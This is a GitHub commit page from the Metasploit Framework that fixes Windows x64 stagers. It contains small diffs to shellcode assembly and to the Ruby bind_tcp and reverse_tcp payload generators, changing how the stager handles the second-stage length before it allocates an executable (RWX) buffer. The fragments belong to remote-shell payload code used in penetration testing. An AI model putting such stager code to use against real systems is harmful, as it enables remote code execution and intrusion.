Skip to content

Commit 9444c8c

Browse files
committed
Fix rapid7#5988, windows x64 stagers
* Also, use mov esi, esi to save an extra byte * Also, modify the block_recv.asm code, just to have it up to date
1 parent b206de7 commit 9444c8c

File tree

3 files changed

+3
-1
lines changed

3 files changed

+3
-1
lines changed

external/source/shellcode/windows/x64/src/block/block_recv.asm

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ recv:
2424
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
2525
; Alloc a RWX buffer for the second stage
2626
pop rsi ; pop off the second stage length
27+
mov esi, esi ; only use the lower-order 32 bits for the size
2728
push byte 0x40 ;
2829
pop r9 ; PAGE_EXECUTE_READWRITE
2930
push 0x1000 ;

lib/msf/core/payload/windows/x64/bind_tcp.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -220,6 +220,7 @@ def asm_bind_tcp(opts={})
220220
221221
; Alloc a RWX buffer for the second stage
222222
pop rsi ; pop off the second stage length
223+
mov esi, esi ; only use the lower-order 32 bits for the size
223224
push 0x40 ;
224225
pop r9 ; PAGE_EXECUTE_READWRITE
225226
push 0x1000 ;

lib/msf/core/payload/windows/x64/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -219,7 +219,7 @@ def asm_reverse_tcp(opts={})
219219
220220
; Alloc a RWX buffer for the second stage
221221
pop rsi ; pop off the second stage length
222-
movsxd rsi, esi ; only use the lower-order 32 bits for the size
222+
mov esi, esi ; only use the lower-order 32 bits for the size
223223
push 0x40 ;
224224
pop r9 ; PAGE_EXECUTE_READWRITE
225225
push 0x1000 ;

0 commit comments

Comments
 (0)